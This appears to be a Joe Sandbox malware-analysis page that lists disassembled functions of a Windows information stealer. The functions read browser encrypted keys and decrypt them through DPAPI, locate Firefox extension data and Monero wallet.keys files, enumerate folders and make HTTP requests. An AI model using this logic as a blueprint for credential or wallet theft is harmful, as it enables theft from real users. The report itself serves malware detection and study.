Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9a3fa533562408873dce745a1d4ff8f4056377bf1309353f872fbe1e17aa102e
Instruction ID: c06e4dc4dc8a2a24dfcbf23b34b061427766abac96958a144af852f41dc08915
Opcode Fuzzy Hash: 9a3fa533562408873dce745a1d4ff8f4056377bf1309353f872fbe1e17aa102e
Instruction Fuzzy Hash: 9A81C27291020C9BDB04FBA4EE96FEE7338AF64300F508519F547A60D1EF346A59CB62

Function 009FF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009F99EC
Part of subcall function 009F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009F9A11
Part of subcall function 009F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 009F9A31
Part of subcall function 009F99C0: ReadFile.KERNEL32(000000FF,?,00000000,009F148F,00000000), ref: 009F9A5A
Part of subcall function 009F99C0: LocalFree.KERNEL32(009F148F), ref: 009F9A90
Part of subcall function 009F99C0: CloseHandle.KERNEL32(000000FF), ref: 009F9A9A

Part of subcall function 00A08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A08E52

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00A11580,00A10D92), ref: 009FF54C
lstrlen.KERNEL32(00000000), ref: 009FF56B

Strings

^userContextId=4294967295, xrefs: 009FF59C
moz-extension+++, xrefs: 009FF5AD

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: a366b91cf64107ae896e6ba7d51c65c6532d16d8d7890ed6d66c729e1d45fc70
Instruction ID: 0c7b9ef5d8dd397dfa9f476a03c0ffcc09903f6fb4488787ec92f4351c36513a
Opcode Fuzzy Hash: a366b91cf64107ae896e6ba7d51c65c6532d16d8d7890ed6d66c729e1d45fc70
Instruction Fuzzy Hash: CF51C471D1020CAADB04FBA4ED56EED7779AFA4300F50C528F516A71D1EE346A0DCBA2

Function 009F9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 009F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009F99EC
Part of subcall function 009F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009F9A11
Part of subcall function 009F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 009F9A31
Part of subcall function 009F99C0: ReadFile.KERNEL32(000000FF,?,00000000,009F148F,00000000), ref: 009F9A5A
Part of subcall function 009F99C0: LocalFree.KERNEL32(009F148F), ref: 009F9A90
Part of subcall function 009F99C0: CloseHandle.KERNEL32(000000FF), ref: 009F9A9A

Part of subcall function 00A08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A08E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 009F9D39

Part of subcall function 009F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009F4EEE,00000000,00000000), ref: 009F9AEF
Part of subcall function 009F9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,009F4EEE,00000000,?), ref: 009F9B01
Part of subcall function 009F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009F4EEE,00000000,00000000), ref: 009F9B2A
Part of subcall function 009F9AC0: LocalFree.KERNEL32(?,?,?,?,009F4EEE,00000000,?), ref: 009F9B3F

Part of subcall function 009F9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 009F9B84
Part of subcall function 009F9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 009F9BA3
Part of subcall function 009F9B60: LocalFree.KERNEL32(?), ref: 009F9BD3

Strings

"encrypted_key":", xrefs: 009F9D30
, xrefs: 009F9DC1
DPAPI, xrefs: 009F9D89

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: aa4fd4b52de66e92106e3c2a50ce1067475851cce638b6f7e71e67304887bfbb
Instruction ID: c0ce96cb2e091ea6fcfa170a249accc1fc8425e3faec9ce88812b9acb77bfbb0
Opcode Fuzzy Hash: aa4fd4b52de66e92106e3c2a50ce1067475851cce638b6f7e71e67304887bfbb
Instruction Fuzzy Hash: 7C3110B5D1020DABCB04EBE4DD85BFE77B8BB48304F144519FA05A7281E7349A54CBA1

Function 00A06AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014D8B98,?,00A1110C,?,00000000,?,00A11110,?,00000000,00A10AEF), ref: 00A06ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A06AE8
CloseHandle.KERNEL32(00000000), ref: 00A06AF9
Sleep.KERNEL32(00001770), ref: 00A06B04
CloseHandle.KERNEL32(?,00000000,?,014D8B98,?,00A1110C,?,00000000,?,00A11110,?,00000000,00A10AEF), ref: 00A06B1A
ExitProcess.KERNEL32 ref: 00A06B22

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 992b74917735310ee7aafe74e78d924a6711565498af18b59dbb0f1df6d192a9
Instruction ID: 47e9870cfd91a989b21699157b3a34d03f4bea254cb0a47f4c5791a1ccbb9a3f
Opcode Fuzzy Hash: 992b74917735310ee7aafe74e78d924a6711565498af18b59dbb0f1df6d192a9
Instruction Fuzzy Hash: FAF05870A8030EABE700BBA0ED0ABBE7B34EB19785F108514B503A11D1DBB05560DAA6

Function 009F47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009F4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 009F4849

Strings

<, xrefs: 009F47C9

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 4dfcd9396b31643773307fa8ae7b340364a260b5e209dc13b46d531c66ead2e6
Instruction ID: 968e44566c9d26e48197b5b47f37b09847defa8dfca6f371f826abd298e24227
Opcode Fuzzy Hash: 4dfcd9396b31643773307fa8ae7b340364a260b5e209dc13b46d531c66ead2e6
Instruction Fuzzy Hash: B3214FB1D00209ABDF14DFA4E945BDE7B74FB45320F108625F955A72D0EB706A09CF91

Function 00A051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F6280: InternetOpenA.WININET(00A10DFE,00000001,00000000,00000000,00000000), ref: 009F62E1
Part of subcall function 009F6280: StrCmpCA.SHLWAPI(?,014DEB08), ref: 009F6303
Part of subcall function 009F6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009F6335
Part of subcall function 009F6280: HttpOpenRequestA.WININET(00000000,GET,?,014DE3E8,00000000,00000000,00400100,00000000), ref: 009F6385
Part of subcall function 009F6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009F63BF
Part of subcall function 009F6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009F63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A05228

Strings

ERROR, xrefs: 00A0521A
ERROR, xrefs: 00A05273

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 3d858e48b9fb8141c424e43b630a9221fd79323012351966924d5c4dbcbcd51b
Instruction ID: 94e3cd7de838269a71ba3446ff9d1f46a5310922013c1fa5029e8cfc13f81c6b
Opcode Fuzzy Hash: 3d858e48b9fb8141c424e43b630a9221fd79323012351966924d5c4dbcbcd51b
Instruction Fuzzy Hash: DE11EF3091024CA6DB14FF74EE52EED7338AF64340F408558F91A565D2EF306B09CB91

Function 00A04F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A08E0B

lstrcat.KERNEL32(?,00000000), ref: 00A04F7A
lstrcat.KERNEL32(?,00A11070), ref: 00A04F97
lstrcat.KERNEL32(?,014D8A08), ref: 00A04FAB
lstrcat.KERNEL32(?,00A11074), ref: 00A04FBD

Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A0492C
Part of subcall function 00A04910: FindFirstFileA.KERNEL32(?,?), ref: 00A04943

Part of subcall function 00A04910: StrCmpCA.SHLWAPI(?,00A10FDC), ref: 00A04971
Part of subcall function 00A04910: StrCmpCA.SHLWAPI(?,00A10FE0), ref: 00A04987
Part of subcall function 00A04910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A04B7D
Part of subcall function 00A04910: FindClose.KERNEL32(000000FF), ref: 00A04B92

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 7241235d23631b20a2d6e3f949c5baddfc59b4564f47fa8df201cc3807bcf310
Instruction ID: 1ae2c23f5f01b6979007e88853ed05ea0cb8f63139c594b41bf8153bdecfca71
Opcode Fuzzy Hash: 7241235d23631b20a2d6e3f949c5baddfc59b4564f47fa8df201cc3807bcf310
Instruction Fuzzy Hash: 70218676910208A7C754FB70ED46FED337CAB58340F004554B6DA921D1EE759AD88B92

Function 00A00740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014D8968), ref: 00A0079A
StrCmpCA.SHLWAPI(00000000,014D8988), ref: 00A00866
StrCmpCA.SHLWAPI(00000000,014D8928), ref: 00A0099D

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
